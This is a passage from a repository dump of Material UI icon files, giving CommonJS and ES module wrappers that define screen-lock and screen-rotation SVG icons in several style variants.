    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-1.99.9-1.99 2L1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 12H6V7h12zm-4-6v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'ScreenLockLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-1.99.9-1.99 2L1 17c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 12H6V7h12zm-4-6v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'ScreenLockLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 5H1v14h22zm-4 12H5V7h14zM9 16h6v-5h-1v-.9c0-1-.69-1.92-1.68-2.08C11.07 7.83 10 8.79 10 10v1H9zm1.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4z\"\n}), 'ScreenLockLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 5H1v14h22zm-4 12H5V7h14zM9 16h6v-5h-1v-.9c0-1-.69-1.92-1.68-2.08C11.07 7.83 10 8.79 10 10v1H9zm1.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4z\"\n}), 'ScreenLockLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.2 10c0-.66-.54-1.2-1.2-1.2s-1.2.54-1.2 1.2v1h2.4zM5 17h14V7H5zm4-5c0-.55.45-1 1-1v-1c0-1.1.89-2 2-2 1.1 0 2 .89 2 2v1c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14z\"\n}, \"1\")], 'ScreenLockLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.2 10c0-.66-.54-1.2-1.2-1.2s-1.2.54-1.2 1.2v1h2.4zM5 17h14V7H5zm4-5c0-.55.45-1 1-1v-1c0-1.1.89-2 2-2 1.1 0 2 .89 2 2v1c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14z\"\n}, \"1\")], 'ScreenLockLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortrait.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10z\"\n}), 'ScreenLockPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortrait.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10z\"\n}), 'ScreenLockPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10z\"\n}), 'ScreenLockPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10z\"\n}), 'ScreenLockPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 1.99 2 1.99L17 23c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'ScreenLockPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 1.99 2 1.99L17 23c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11v-1c0-1.1-.9-2-2-2s-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1m-1 0h-2v-1c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'ScreenLockPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6v-5h-1v-.9c0-1-.69-1.92-1.68-2.08C11.07 7.83 10 8.79 10 10v1H9zm1.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM19 1H5v22h14zm-2 18H7V5h10z\"\n}), 'ScreenLockPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6v-5h-1v-.9c0-1-.69-1.92-1.68-2.08C11.07 7.83 10 8.79 10 10v1H9zm1.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM19 1H5v22h14zm-2 18H7V5h10z\"\n}), 'ScreenLockPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.2 10c0-.66-.54-1.2-1.2-1.2s-1.2.54-1.2 1.2v1h2.4zM7 19h10V5H7zm2-7c0-.55.45-1 1-1v-1c0-1.1.89-2 2-2 1.1 0 2 .89 2 2v1c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10z\"\n}, \"1\")], 'ScreenLockPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockPortraitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.2 10c0-.66-.54-1.2-1.2-1.2s-1.2.54-1.2 1.2v1h2.4zM7 19h10V5H7zm2-7c0-.55.45-1 1-1v-1c0-1.1.89-2 2-2 1.1 0 2 .89 2 2v1c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4zM17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10z\"\n}, \"1\")], 'ScreenLockPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23.25 12.77-2.57-2.57-1.41 1.41 2.22 2.22-5.66 5.66L4.51 8.17l5.66-5.66 2.1 2.1 1.41-1.41L11.23.75c-.59-.59-1.54-.59-2.12 0L2.75 7.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12M8.47 20.48C5.2 18.94 2.86 15.76 2.5 12H1c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.82zM16 9h5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1v-.5C21 1.12 19.88 0 18.5 0S16 1.12 16 2.5V3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.8-6.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7V3h-3.4z\"\n}), 'ScreenLockRotation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23.25 12.77-2.57-2.57-1.41 1.41 2.22 2.22-5.66 5.66L4.51 8.17l5.66-5.66 2.1 2.1 1.41-1.41L11.23.75c-.59-.59-1.54-.59-2.12 0L2.75 7.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12M8.47 20.48C5.2 18.94 2.86 15.76 2.5 12H1c.51 6.16 5.66 11 11.95 11l.66-.03-3.81-3.82zM16 9h5c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1v-.5C21 1.12 19.88 0 18.5 0S16 1.12 16 2.5V3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.8-6.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7V3h-3.4z\"\n}), 'ScreenLockRotation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.3 13.77-2.57-2.57-1.41 1.41 2.22 2.22-5.66 5.66L3.56 9.17l5.66-5.66 2.1 2.1 1.41-1.41-2.45-2.45c-.59-.59-1.54-.59-2.12 0L1.8 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.82zM15.05 10h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1v-.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.8-6.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7V4h-3.4z\"\n}), 'ScreenLockRotationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.3 13.77-2.57-2.57-1.41 1.41 2.22 2.22-5.66 5.66L3.56 9.17l5.66-5.66 2.1 2.1 1.41-1.41-2.45-2.45c-.59-.59-1.54-.59-2.12 0L1.8 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.82zM15.05 10h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1v-.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.8-6.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7V4h-3.4z\"\n}), 'ScreenLockRotationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.41 11.36-.35-.35a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.35.35-4.24 4.24-7.78-7.78 4.24-4.24.35.35c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.35-.36c-.79-.79-2.03-.79-2.82 0L5.57 7.82c-.78.78-.78 2.05 0 2.83l7.78 7.78c.79.79 2.03.79 2.82 0l4.24-4.24c.79-.78.79-2.05 0-2.83m-9.56 6.49c-.31-.31-.85-.09-.85.36v1.53c-3.17-.82-5.59-3.54-5.95-6.86-.06-.51-.49-.88-.99-.88-.6 0-1.07.53-1 1.12C2.62 18.11 6.87 22 12 22c.59 0 1.17-.06 1.73-.16.4-.07.55-.56.27-.85z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9h4c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1v-.89c0-1-.68-1.92-1.66-2.08C17.08.82 16 1.79 16 3v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m1-6c0-.55.45-1 1-1s1 .45 1 1v1h-2z\"\n}, \"1\")], 'ScreenLockRotationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.41 11.36-.35-.35a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.35.35-4.24 4.24-7.78-7.78 4.24-4.24.35.35c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.35-.36c-.79-.79-2.03-.79-2.82 0L5.57 7.82c-.78.78-.78 2.05 0 2.83l7.78 7.78c.79.79 2.03.79 2.82 0l4.24-4.24c.79-.78.79-2.05 0-2.83m-9.56 6.49c-.31-.31-.85-.09-.85.36v1.53c-3.17-.82-5.59-3.54-5.95-6.86-.06-.51-.49-.88-.99-.88-.6 0-1.07.53-1 1.12C2.62 18.11 6.87 22 12 22c.59 0 1.17-.06 1.73-.16.4-.07.55-.56.27-.85z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9h4c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1v-.89c0-1-.68-1.92-1.66-2.08C17.08.82 16 1.79 16 3v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m1-6c0-.55.45-1 1-1s1 .45 1 1v1h-2z\"\n}, \"1\")], 'ScreenLockRotationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.82zM20.05 4v-.36c0-1.31-.94-2.5-2.24-2.63-1.5-.15-2.76 1.02-2.76 2.49V4h-1v6h7V4zm-.8 0h-3.4v-.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7zm.48 7.2-1.41 1.41 2.22 2.22-5.66 5.66L3.56 9.17l5.66-5.66 2.1 2.1 1.41-1.41L9.22.69.74 9.17l14.14 14.14 8.48-8.48z\"\n}), 'ScreenLockRotationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.82zM20.05 4v-.36c0-1.31-.94-2.5-2.24-2.63-1.5-.15-2.76 1.02-2.76 2.49V4h-1v6h7V4zm-.8 0h-3.4v-.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7zm.48 7.2-1.41 1.41 2.22 2.22-5.66 5.66L3.56 9.17l5.66-5.66 2.1 2.1 1.41-1.41L9.22.69.74 9.17l14.14 14.14 8.48-8.48z\"\n}), 'ScreenLockRotationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.3 13.77-2.57-2.57-1.41 1.41 2.22 2.22-5.66 5.66L3.56 9.17l5.66-5.66 2.1 2.1 1.41-1.41-2.45-2.45c-.59-.59-1.54-.59-2.12 0L1.8 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.82zM15.05 10h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1v-.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.8-6.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7V4h-3.4z\"\n}), 'ScreenLockRotationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockRotationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.3 13.77-2.57-2.57-1.41 1.41 2.22 2.22-5.66 5.66L3.56 9.17l5.66-5.66 2.1 2.1 1.41-1.41-2.45-2.45c-.59-.59-1.54-.59-2.12 0L1.8 8.11c-.59.59-.59 1.54 0 2.12l12.02 12.02c.59.59 1.54.59 2.12 0l6.36-6.36c.59-.59.59-1.54 0-2.12M7.52 21.48C4.25 19.94 1.91 16.76 1.55 13H.05C.56 19.16 5.71 24 12 24l.66-.03-3.81-3.82zM15.05 10h5c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1v-.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5V4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.8-6.5c0-.94.76-1.7 1.7-1.7s1.7.76 1.7 1.7V4h-3.4z\"\n}), 'ScreenLockRotationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenRotation.js",
